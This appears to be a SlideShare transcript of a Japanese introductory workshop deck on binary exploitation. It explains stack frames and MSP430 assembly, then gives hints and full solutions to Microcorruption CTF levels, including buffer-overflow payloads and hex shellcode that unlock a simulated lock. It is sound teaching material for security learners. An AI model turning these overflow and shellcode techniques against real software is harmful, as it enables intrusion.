SlideShare uma empresa Scribd logo
1 de 102
Baixar para ler offline
PWNの超⼊⾨
2018/3/25
@⼤和セキュリティ神戸
⽥中ザック (@yamatosecurity)
PWN(ポーン)とは?
• 元々「own」から来ている
• 「own」= 自分の物にする。ハッカースラングで「侵⼊、支配」等
• 例:

I owned/pwned him. (彼をハックした)

I/he/they got owned/pwned. (ハックされた!)

They’re owned/pwned bad. (あの会社は完全にハックされてる)

機密情報が全部流出され、バックドア等も置かれているニュアンス
• CTFではメモリ破壊系の脆弱性を悪用するバイナリ問題のジャンル
Pwnie Awards(ポニーアワード)
• https://pwnies.com/ Blackhatの非公式アワード
メモリ破壊系の脆弱性
• Buffer Overflow (Stack Overflow)
• Heap Overflow(ヒープオーバーフロー)
• Format String (書式⽂字列攻撃)
• Use After Free (UAF) (別名:Dangling Pointer)
• Write What Where (任意の場所に任意の値を書き込む)
• Type confusion (型の取り違え)
• Rowhammer等々
バイナリ/仮想アドレス空間の構成
上位メモリ
下位メモリ
「プロテクトモード」や

「ページング⽅式」等を

ご存知ない⽅は
wikipediaの記事を

読んで下さい
仮想アドレス空間の構成(32ビット)
Base/Frame Pointer (Intel 32bit: EBP、64bit: RBP、ARM: R11、THUMB: R7)

ベースポインターからのオフセットで関数のローカル変数を参照
(次の命令を指す。Intel 32bit: EIP、64bit: RIP、ARM等:PC

別名:Instruction Pointer (IP)、命令ポインター)
カーネルメモリ(上位メモリ)
ユーザ
モード
メモリ
Stack Pointer: スタックの先頭を指している。PUSH/POP命令に使う
スタック
• プロセスの基本的なデータ構造
• LIFO - Last In First Out (後⼊れ先出し)
• 関数が呼び出された時(call命令時)に、

呼び出した関数のベースポインター、戻り値、関数の引数、

関数のローカル変数をスタックに保存する
• ⼀時的にデータを保存する時に使われる
バッファーオーバーフロー
•ローカル変数のバッファーが溢れると

保存されたベースポインターや戻り値が

上書きされる
•関数がreturnする時に上書きされた

アドレスに⾶ばされる
•攻撃者のコード(シェルコード)を

AAAAのバッファーに置いて、

戻り値をそのバッファーのアドレスに

⾶ばしたら任意のコード実⾏が可能
•シェルコードをそのアーキテクチャの

機械語で書かないといけない
•最近のOSではスタックにあるデータを

実⾏できないので⼯夫が必要
下位メモリ
上位メモリ
CPUのレジスタ
• CPUが内蔵する記憶回路(16/32/64ビットで小さいけど⼀番早い!)
• 専用レジスタ:スタック、ベース、PC、ステータス等
• 汎用レジスタ:MSP430: r4-r15、ARM: r0-r12
• 汎用レジスタは値かメモリアドレスが格納されている
• MSP430:
• r0 = Program Counter (PC)
• r1 = Stack Pointer (SP)
• r2 = Status Register (SR)
• r3 = Constant Generation (CG)
SR (ステータスレジスタ)
• CPUが命令を実⾏後にフラグ(ビット)をセットする
• CF(キャリーフラグ):

ある桁での計算結果が、その桁で表すことのできる数を

超えたときに、キャリーとして1つ上の桁へ加えられる。

例:8ビットレジスタの場合:

255 + 9 = 264だけど255がmaxなので、

(264 & 255 = 8、CF = 1)。1 - 2 = 255、CF =1。
• ZF (ゼロフラグ):

算術演算命令の結果が0であった場合、真 (ZF=1)。

ADD、SUB等の演算命令。

論理演算命令の結果が0であった場合、真 (ZF=1)。

AND、OR等の論理演算命令
• NF (ネガティブフラグ):

算術演算命令の結果がネガティブの場合
関数 (Functions)
•与えられた⽂字や数値に対し、

定められた処理を⾏って結果を返す機能
•例:

int add(int x, int y)

{

int sum;

sum = x + y;

return(sum);

}
•add(2,3)
パラメータ (Parameters)
5がリターンされる。2と3が引数(Arguments)
ローカル変数 (Local Variables)
戻り値(別名:返り値、Return Value)
関数 (Functions)
•プログラムは普段main()関数から始まる
•int main()

{ 

int sum; 

sum = add(2,3);

printf(“Result is %d ", sum);

return 0;

}
add関数が終わったら

次の命令(printf)に

戻らないといけない。
そのため、何処かに

戻りアドレス (Return Address)を

保存しないといけない。
また、2と3の引数を

何処かに保存しないと。
関数 (Functions)
•引数、リターンアドレス、ローカル変数は

スタックに⼀時的に保存される!
•add(2,3);をアセンブリ⾔語にすると、

まず引数をスタックにPUSHしてからCALL add
•PUSH 3
•PUSH 2
•CALL add
スタック
3
2
SP
SP
CALL命令
•CALL命令は次の命令のアドレスをスタックに

保存(push)してから関数にJUMPする
•PUSH <次の命令アドレス>
•PC = 関数のアドレス
•SPがpush/pop命令で

自動的にトップに

移動される
スタック
3
2 SP
SP戻りアドレス
関数の構成 (アセンブリ)
エピローグ
コード
プロローグ
•プロローグ
•BPを保存して (push ebp)
•BP <= SP (mov esp, ebp)
•SPを増やす (sub esp, 10)

(ローカル変数のスペースを作る)
•エピローグ
•SP <= BP (mov ebp, esp)
•古いBPをスタックからBPに戻す (pop ebp)
•SPにある戻りアドレスに戻る (ret)
関数 (Functions)
スタック
フレーム
下位メモリ
上位メモリ
関数を呼び出す前に引数をPUSH
mainの
スタックフレーム
BP (上位メモリ)
SP (下位メモリ)
PUSH 3
PUSH 2
スタック

(mainの
ローカル変数等)
3 (addの引数)
2 (addの引数) SP
※スタックは実は下に拡張
CALL命令
スタック

(mainの
ローカル変数等)
3 (addの引数)
2 (addの引数)
SP戻りアドレス
CALL <関数>
まず戻りアドレスを保存
BP (MainのStack Frame)
プロローグ
main()

フレーム
3 (addの引数)
2 (addの引数)
SP
戻りアドレス
BP
mainのBP
1. PUSH BP
SP/BP
main()

フレーム
3 (addの引数)
2 (addの引数)
戻りアドレス
mainのBP
2. MOV SP, BP
main()

フレーム
3 (addの引数)
2 (addの引数)
戻りアドレス
mainのBP
addの変数
BP
SP
3. SUB SP, 10
エピローグ
main()

フレーム
3 (addの引数)
2 (addの引数)
戻りアドレス
mainのBP
addの変数
BP
SP
1. MOV BP, SP
main()

フレーム
3 (addの引数)
2 (addの引数)
戻りアドレス
mainのBP SP/

BP
main()

フレーム
3 (addの引数)
2 (addの引数)
戻りアドレス
2. POP BP
SP
BP
0.
エピローグ
main()

フレーム
3 (addの引数)
2 (addの引数)
戻りアドレス
3. RET
SP
BP main()

フレーム
3 (addの引数)
2 (addの引数) SP
BP
PC/IP = 戻りアドレス
アーキテクチャ
• ⼆種類
• CISC (Complex Instruction Set Computer)

(複雑命令セットコンピュータ) 例:Intel等

メリット:プログラミングが少し楽になる

デメリット:ハードウェアが複雑になるため、より電源を消費し、遅い
• RISC (Reduced Instruction Set Computer)

(縮小命令セットコンピュータ) 例:マイコン、ARM、MSP430等々

メリット:パフォーマンスがCISCより2~4倍速い。低消費電⼒。

デメリット:プログラムサイズが増える
アセンブリ⾔語のシンタックス
• ⼆種類
• Intel (Windows等)

<命令> <dst>(転送先), <src> (転送元) (オペランドの⽅向:←)
• AT&T (Linux GDB等)

<命令> <src> (転送元), <dst>(転送先) (オペランドの⽅向:→)

mov #0x2400, r15 (“0x2400”の2バイト(word)をr15にコピー)

mov.b #0x4b, 0x0(r15) (“0x4b”の1バイトをr15オフセット0にコピー)

mov.b #0x7a, 0x1(r15) (“0x4b”の1バイトをr15オフセット1にコピー)

mov.b @r15, r14 (r15にあるメモリアドレスにある値をr14にコピー)

mov &0x015c, r5 (0x015cのメモリアドレスにある値をr5にコピー)
エンディアン(バイト順)
• ⼆種類
• ビッグエンディアン (最上位ビット (MSB)が左。Solaris、PowerPC等)
• リトルエンディアン(最下位ビット (LSB)が左。Intel等)
重要なアセンブリ
•CALL: 関数を呼び出す。

PUSH PC+2(次の命令をスタックに保存)

PC = dst
•CLR = レジスタをクリア(reg = 0)
•CMP = CoMPare (dst - src、0の場合は⼀致)
•INC = INCrement (+1)
•INCD = Double INCrement (+2)
•JC = Jump if Carry set
•JEQ/JZ = Jump if EQual/Zero
•JMP = JuMP
•JN = Jump if Negative set
重要なアセンブリ
•JNC = Jump if Not Carry
•JNE/JNZ = Jump if Not Equal/Zero
•MOV = データをコピー
•NOP = 何もしない
•POP = SPのアドレスにあるデータを

レジスタにコピーし、SP = SP +2
•PUSH = SP = SP - 2、レジスタにある

データをSPにコピー
•RET = 関数からリターン

PC = @SP、SP = SP + 2
•SXT = Sign eXTension (8bitのMSBを16bitにextend)

例:00000000 10000000 → 11111111 10000000
11111111 00000000 → 00000000 00000000
•TST(.b) = CMP(.B) #0, xxx (0かどうかチェック)
重要なアセンブリ
•命令に「.b」が付いている場合は、

2バイト(16bit)ではなく、1バイト(8bit)の値に対して命令を実⾏する
•例:mov.b #0x0, -0x4(r4)

ヌルバイト(0x0)をr4のメモリアドレスオフセット-0x4にコピー

(r4 = 2444だったら、2440がヌルバイトで上書きされる。

2441は影響なし)
Microcorruption CTF
• https://microcorruption.com/ (Matasano (現在NCC Group) & Squareが提供)
• バイナリ下忍(初⼼者)のためのCTF
• ウェブブラウザだけでプレーできる!ツール等不要!
• MSP430のRISC、リトルエンディアン、Word Aligned(アドレスは偶数)
• 世界中の倉庫の電⼦錠をハックしていくというストーリー
• マニュアル:https://microcorruption.com/manual.pdf

(Cのサンプルコードあり。必ずRTFM!)
• その他のMSP430 Assemblyマニュアル:

http://www.ece.utep.edu/courses/web3376/Notes_files/ee3376-assembly.pdf

http://www.ece.uah.edu/~milenka/cpe323-10S/lectures/cpe323msp430_ISA.pdf
割り込み
• ソフトウェア割り込み (Interrupt):

マイコンの&0x0010にカーネルモードに⼊るためのcallgateがある。

割り込みを使って、コンソールからPWを⼊⼒したり、

メッセージを出⼒したりできる。

割り込みの種類はステータスレジスタのR2の上位バイトから渡される。
引数はスタックから渡される。
• ソフトウェア割り込み「0x7F」で電⼦錠を解除する
• INT 0x00: putchar (1バイトを出⼒)

割り込みの⼀覧
•INT 0x00: putchar (1バイトを出⼒)
•INT 0x01: getchar (1バイトを⼊⼒)
•INT 0x02: gets(dst_address, max_length)(複数のバイトを⼊⼒)(ヌルバイトで⽌まる)
•INT 0x10: DEP (データ実⾏防⽌)を有効にする
•INT 0x11: メモリページを実⾏可能か書込可能のどちらかにする
•INT 0x20: rand (16ビットの乱数⽣成)
•INT 0x7D: HSM-1に接続。⼀番目の引数は⼊⼒されたPW、

⼆番目はPWが⼀致した時のフラグのメモリアドレス
•INT 0x7E: HSM-2に接続。引数が⼊⼒されたPW
HSM
•Hardware Security Module
•Model 1
• 割り込み「0x7D」でパスワードをマイコンからHSMに送る
• パスワードが⼀致した場合は、メモリのある所のバイトをセットする
•Model 2
• よりセキュアなHSMで直接HSMから解除する
• 割り込み「0x7E」でパスワードをマイコンからHSMに送って

HSMにあるPWと⼀致した場合はHSMが直接解除する
CTFの正しいやり⽅
•※やり過ぎて、しんどくなって諦めたら意味無い!!ので

 頑張り過ぎないように!(笑)
•まず、⼀回問題に挑戦してみる!
•自分の限界まで来たら、頭を冷やしてもう⼀回挑戦するか、

ヒントを見る
•また限界まで来たら次のヒントや解説(write up)を見る
•Write upが無い場合は先輩などに聞く (ソーシャルハック)
•何より楽しむのが⼤事!!! 
•※グループでやった⽅が楽しいし、勉強になる!
0. Tutorial
•https://microcorruption.com/でアカウントを作成して、

Tutorialを⾔われる通りやって下さい
「⼤熱⾎! アセンブラ⼊⾨」 by 坂井 弘亮
その他のバイナリハッキングのコツ
• プロローグとエピローグの

コードをあまり気にしないで

その間のコードを解析する!
• バッファオーバフローの場合、

戻りアドレスが上書きされる

ので、「ret」にbreakpointを

付けて、spの値を確認したり

解析して下さい
• sかnでレジスタとスタックの

メモリダンプを見ながら解析
プロローグ
エピローグ
その他のバイナリハッキングのコツ
•A型、完璧主義者は絶対駄目!!!
•全部理解しようとしたらしんどいし、不可能!!
•まず問題を解ければ良い!
•余裕があれば、問題を解いてから

更に解析しても良い

※ストレスがたまらない程度にね!
1. New Orleans (10点)
• Bluetoothなんちゃらと

書いてあるけど無視して良い
• 取り敢えず

cでスタート

適当にパスワードを⼊⼒

sでステップ

パスワードを探して下さい
New Orleans
• PWを⼊⼒後、

check_passwordが

呼ばれる
• tst r15 (return valueを確認)

ZF=1の場合は

#4462: Access Granted

0の場合は、

次の命令で

「Invalid password」
• 他に面白い関数ある?
New Orleans
ヒント1
New Orleansヒント1
• ループで1バイト単位で

⼊⼒したPWがr14の

アドレスにあるPWと⼀致

しているかどうか確認している
• ハードコードされたPWが

分かったらsolveで解く!
New Orleans
ヒント2
New Orleansヒント2
• create_passwordの関数が

気になる!
• break create_passwordで

sしたらパスワードを

Memory Dumpで確認
New Orleansの答え
New Orleansの答え
パスワードが「Kz5+{g5」でござる
※プレーヤーによってPW、アドレス、カナリア等が違うのでコピペで解けない!!
2. Sydney (15点)
•「前のモデルはメモリからパスワード

を取得できる脆弱性の報告があった

ので、修正しました」
•取り敢えず適当にPWを⼊⼒し、

sで解析して下さい
Sydney
ヒント1
Sydney ヒント1
• cmp命令でパスワードの最初の

2バイトが0x5021であるかどうか

確認している・・
• ⼀致しない場合は、

44acに⾶んでr14とr15をゼロにする
• mainに戻った時にゼロフラグがセット

されているので、4452でAccess Grantedに

⾶ばないでInvalid Passwordで終了
Sydney
ヒント2
Sydney ヒント2
Little/Big Endianにご注意を!
Sydneyの答え
Sydney の答え
PW: 2150735d53472639
※プレヤーによって

フラグが異なる可能性がある
3. Hanoi (20点)
• ハードウェアセキュリティモジュール
「LockIT Pro HSM-1」に接続している
• https://microcorruption.com/manual.pdf
• Interrupt 0x7DでパスワードをHSMに送る
• パスワードが⼀致した場合はメモリのある所の

バイトがセットされる
Hanoi ヒント1
Hanoi ヒント1
•455aでパスワードが正しい

かどうかチェックしている
•HSM-1が&0x2410にパスワード

チェックのリターン値を

セットしているっぽい
Hanoi ヒント2
バッファーオーバーフロー!
Hanoi の答え
Hanoiの答え
88 x (17回)をPWに⼊れると

リターン値が上書きされて
ロックが解除される
4. Cusco (25点)
•また「LockIT Pro HSM-1」に接続している
•「長過ぎるパスワードに関する問題を修正した」
Cuscoのヒント1
またバッファーオーバーフロー!
Cuscoのヒント2
18-19バイト目で好きなアドレスに

PCを⾶ばすことができる。
何処に⾶ばしたらロックが解除される?
Cuscoの答え
• 4528のunlock_doorは?
• PW: 

414141414141414141414141414141412845

41 x 16回 + 2845
5. Reykjavik (35点)
•軍用の強度な暗号を利用している
•HWセキュリティモジュールに接続していない
•暗号化されているのでパスワードをメモリから読めない
Reykjavikヒント1
Reykjavikのヒント1
•パスワード確認コードは暗号化されている
•スタックから実⾏されるので、

上⼿く逆アセンブルできなくて見づらい
•パスワードを⼊⼒後に「s」で命令をチェック
Reykjavikヒント2
cmpを探して下さい
Reykjavikの答え
PW: hexで21af
6. Whitehorse (50点)
HSM-2に接続している
Whitehorseヒント1
Whitehorseのヒント1
バッファオーバーフローの問題
Whitehorseヒント2
Whitehorseのヒント2
使えるアドレス(解除してくれるアドレス)
が無いのでシェルコードを書く必要がある
Whitehorseヒント3
Whitehorseのヒント3
•使えるアドレス

(解除してくれるアドレス)が無いので

シェルコードを書く必要がある
•0x7eを呼び出す事は

できるけど役に立たない
•(HSM-2側で認証/解除を⾏っている)
Whitehorseの答え
Whitehorseの答え
•シェルコード:

3012 7f00 PUSH #x7f

b012 3245 call <INT>
•パスワードが3884から始まるので

PW: 30127f00b012324541414141414141418438

(3012 7f00 b012 3245 + (41 x 8) + 8438)
7. Johannesburg (20点)
•HSM-1に接続している
•「長過ぎるPWを拒否する」
Johannesburgのヒント
Johannesburgのヒント
•PWの長さをカナリアで確認している
Johannesburgの答え
Johannesburgの答え
•18バイト目が0x9cかどうかチェックしている

(カナリアが上書きされているかどうかチェック)
•PW: 9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c4644

(9c x 18) + 4644で4446のunlock_door関数に⾶ばす
8. Montevideo (50点)
•HSM-2に接続している
•「Shift Leftでセキュア開発している」
Montevideoヒント1
Montevideoのヒント1
•strcpyされているので、

ヌルバイトが使えない!つらい!
•使えたらWhitehorseのように

3012 7f00 push#0x7f

b012 4c45 call #0x454c <INT>

で簡単にできる・・
•ヌルバイトなしで使える命令ある?Assembly頑張って!
Montevideoヒント2
Montevideoのヒント2
•break 4460 <INT>
•sでINT 0x7eを解析
•どうやってINT 0x7fのシェルコードを作成?
•(ヌルバイト無しで・・)
Montevideoヒント3
Montevideoのヒント3
•INT 0x7fを解析したら

sr = ff00

call 0x10

できたら解除できる
•検証:(プログラムの何処でもbreakして)

let sr = ff00

let pc = 455c (call 0x10)

c

したら解除される
Montevideoヒント4
Montevideoのヒント4
•1つのやり⽅:

mov ????, r15 (バイト順に注意)

inc r15 (0xff00になるように)

mov r15, r2 (r2 = sr) 

call #0x0010 (call 0x10)
Montevideoヒント5
Montevideoのヒント5
• 3f40 feff mov #0xfffe, r15

1f53 inc r15

024f mov r15, r2 

b012 1000 call #0x0010
•最後にヌルバイトがあるので、

シェルコードを最後にする必要がある
ゴミ(AAAAAA・・・)
戻り値

改ざん シェルコード
Montevideoの答え
Montevideoの答え1
•ゴミデータ: A * 16
•戻り値改ざん:0x4402 (4400にヌルあるため)
•シェルコード(SC):3f40fffe1f53024fb0121000
•ゴミ(16B)+ 戻り値改ざん + ゴミ(2B)+ SC
•PW: 41414141414141414141414141414141

024442423f40fffe1f53024fb0121000
Montevideoの

他の解き⽅
ヌルの無いシェルコード作成(上級)
•Kali/DebianからgccのMSP430プラグインをインストール必要がある
•デフォルトのレポジトリに⼊っていないので⼀時的にdebian repoを追加
•leafpad /etc/apt/sources.listで以下の追加/保存:

deb http://deb.debian.org/debian stretch main

deb-src http://deb.debian.org/debian stretch main
•apt-get update
•apt-get install gcc-msp430 gdb-msp430
•debianレポジトリを削除:

leafpad /etc/apt/sources.list で上記のrepoを削除

rm /etc/apt/sources.list.d/nodesource.list (なぜかこれが作成されるので削除)
ヌルの無いシェルコード作成(上級)
• leafpad msp430-shellcode.cで以下のようなシェルコードを作成

main() {
asm(
"mov #0xf010, r4n” //r4 = 0xf010 (1111 0000 0001 0000)
"and #0x0fff, r4n” // & 0x0fff (0000 1111 1111 1111)
// r4 = (0000 0000 0001 0000) (= 0x10, 16)
"mov #0xff01, r2n” // r2 (SR) = 0xff01
"dec r2n” // r2 (SR) = 0xff00
"call r4n” // Call 0x10
);
}
•msp430-gcc -O0 -mmcu=msp430g2553 ./msp430-shellcode.c -o msp430-shellcode
ヌルの無いシェルコード作成(上級)
• msp430-objdump -d ./msp430-shellcode(でdisassemble)
• msp430-gdb ./msp430-shellcode(でも同じようにできる)

(gdb) disas /r main
ヌルの無いシェルコード作成(上級)
• なんと!こんなめんどくさいことをやらなくても、

サイトにMSP430アセンブラあったわ!
• https://microcorruption.com/assembler
Montevideoの答え(2)
•ゴミデータ: A * 16
•戻り値改ざん:0x4402 (4400にヌルあるため)
•シェルコード(SC):344010f034f0ff0f324001ff12838412
•ゴミ(16B)+ 戻り値改ざん + ゴミ(2B)+ SC
•PW: 41414141414141414141414141414141

02444242344010f034f0ff0f324001ff12838412
•ヌル無いけど、SCが12バイトから16バイトに増えた!
Montevideoの答え(3)
•ゴミデータ: A * 16
•戻り値改ざん:0x4460 (Call <INT>)
•シェルコード(とは⾔えないけど):7f (1バイト!)
•PW: 41414141414141414141414141414141

60447f
•Call <INT>したらSPが0x7fになるので、

ロックが解除される
9. Santa Cruz (50点)
•長過ぎるパスワードを

拒否する
•HSM-1に接続している
•ユーザ名も必要!
•もう資料作成疲れた∼
•皆さん、できる所まで頑張って楽しんで下さいね!
•(ネットの何処かに英語のwrite upがあるので、

限界まで来たらそれをご参考に∼)
•最後までできたら、結構強くなるはず!

Mais conteúdo relacionado

Mais procurados

初心者向けCTFのWeb分野の強化法
初心者向けCTFのWeb分野の強化法初心者向けCTFのWeb分野の強化法
初心者向けCTFのWeb分野の強化法kazkiti
 
RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjpRSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjpsonickun
 
CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…Hiromu Yakura
 
Scapyで作る・解析するパケット
Scapyで作る・解析するパケットScapyで作る・解析するパケット
Scapyで作る・解析するパケットTakaaki Hoyo
 
目grep入門 +解説
目grep入門 +解説目grep入門 +解説
目grep入門 +解説murachue
 
例外設計における大罪
例外設計における大罪例外設計における大罪
例外設計における大罪Takuto Wada
 
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015CODE BLUE
 
BoostAsioで可読性を求めるのは間違っているだろうか
BoostAsioで可読性を求めるのは間違っているだろうかBoostAsioで可読性を求めるのは間違っているだろうか
BoostAsioで可読性を求めるのは間違っているだろうかYuki Miyatake
 
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜Preferred Networks
 
本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話Kumazaki Hiroki
 
BuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルドBuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルドAkihiro Suda
 
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)Shota Shinogi
 
できる!並列・並行プログラミング
できる!並列・並行プログラミングできる!並列・並行プログラミング
できる!並列・並行プログラミングPreferred Networks
 
オブジェクト指向できていますか?
オブジェクト指向できていますか?オブジェクト指向できていますか?
オブジェクト指向できていますか?Moriharu Ohzu
 
僕がつくった 70個のうちの48個のWebサービス達
僕がつくった 70個のうちの48個のWebサービス達僕がつくった 70個のうちの48個のWebサービス達
僕がつくった 70個のうちの48個のWebサービス達Yusuke Wada
 
RSA鍵生成脆弱性ROCAの紹介
RSA鍵生成脆弱性ROCAの紹介RSA鍵生成脆弱性ROCAの紹介
RSA鍵生成脆弱性ROCAの紹介MITSUNARI Shigeo
 
分散システムの限界について知ろう
分散システムの限界について知ろう分散システムの限界について知ろう
分散システムの限界について知ろうShingo Omura
 

Mais procurados (20)

初心者向けCTFのWeb分野の強化法
初心者向けCTFのWeb分野の強化法初心者向けCTFのWeb分野の強化法
初心者向けCTFのWeb分野の強化法
 
Glibc malloc internal
Glibc malloc internalGlibc malloc internal
Glibc malloc internal
 
CTFとは
CTFとはCTFとは
CTFとは
 
RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjpRSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjp
 
CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…
 
Scapyで作る・解析するパケット
Scapyで作る・解析するパケットScapyで作る・解析するパケット
Scapyで作る・解析するパケット
 
目grep入門 +解説
目grep入門 +解説目grep入門 +解説
目grep入門 +解説
 
例外設計における大罪
例外設計における大罪例外設計における大罪
例外設計における大罪
 
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
 
BoostAsioで可読性を求めるのは間違っているだろうか
BoostAsioで可読性を求めるのは間違っているだろうかBoostAsioで可読性を求めるのは間違っているだろうか
BoostAsioで可読性を求めるのは間違っているだろうか
 
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
 
本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話
 
BuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルドBuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルド
 
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
 
できる!並列・並行プログラミング
できる!並列・並行プログラミングできる!並列・並行プログラミング
できる!並列・並行プログラミング
 
オブジェクト指向できていますか?
オブジェクト指向できていますか?オブジェクト指向できていますか?
オブジェクト指向できていますか?
 
TLS, HTTP/2演習
TLS, HTTP/2演習TLS, HTTP/2演習
TLS, HTTP/2演習
 
僕がつくった 70個のうちの48個のWebサービス達
僕がつくった 70個のうちの48個のWebサービス達僕がつくった 70個のうちの48個のWebサービス達
僕がつくった 70個のうちの48個のWebサービス達
 
RSA鍵生成脆弱性ROCAの紹介
RSA鍵生成脆弱性ROCAの紹介RSA鍵生成脆弱性ROCAの紹介
RSA鍵生成脆弱性ROCAの紹介
 
分散システムの限界について知ろう
分散システムの限界について知ろう分散システムの限界について知ろう
分散システムの限界について知ろう
 

Semelhante a PWNの超入門 大和セキュリティ神戸 2018-03-25

Buffer overflow
Buffer overflowBuffer overflow
Buffer overflowionis111
 
初めてのCPUを作ってみた
初めてのCPUを作ってみた初めてのCPUを作ってみた
初めてのCPUを作ってみたEric Sartre
 
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~Preferred Networks
 
Richard high performance fuzzing ja
Richard  high performance fuzzing jaRichard  high performance fuzzing ja
Richard high performance fuzzing jaPacSecJP
 
Deep learning Libs @twm
Deep learning Libs @twmDeep learning Libs @twm
Deep learning Libs @twmYuta Kashino
 
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉Insight Technology, Inc.
 

Semelhante a PWNの超入門 大和セキュリティ神戸 2018-03-25 (6)

Buffer overflow
Buffer overflowBuffer overflow
Buffer overflow
 
初めてのCPUを作ってみた
初めてのCPUを作ってみた初めてのCPUを作ってみた
初めてのCPUを作ってみた
 
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~
 
Richard high performance fuzzing ja
Richard  high performance fuzzing jaRichard  high performance fuzzing ja
Richard high performance fuzzing ja
 
Deep learning Libs @twm
Deep learning Libs @twmDeep learning Libs @twm
Deep learning Libs @twm
 
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉
 

Mais de Isaac Mathis

Mob security キャリアアドバイスとライフハック
Mob security キャリアアドバイスとライフハックMob security キャリアアドバイスとライフハック
Mob security キャリアアドバイスとライフハックIsaac Mathis
 
2019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.02019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.0Isaac Mathis
 
近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)Isaac Mathis
 
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & WalkthroughIsaac Mathis
 
DDEを悪用する Macroless Office Document Exploits
DDEを悪用する Macroless Office Document ExploitsDDEを悪用する Macroless Office Document Exploits
DDEを悪用する Macroless Office Document ExploitsIsaac Mathis
 
Meltdown/Spectreの脆弱性、リスク、対策
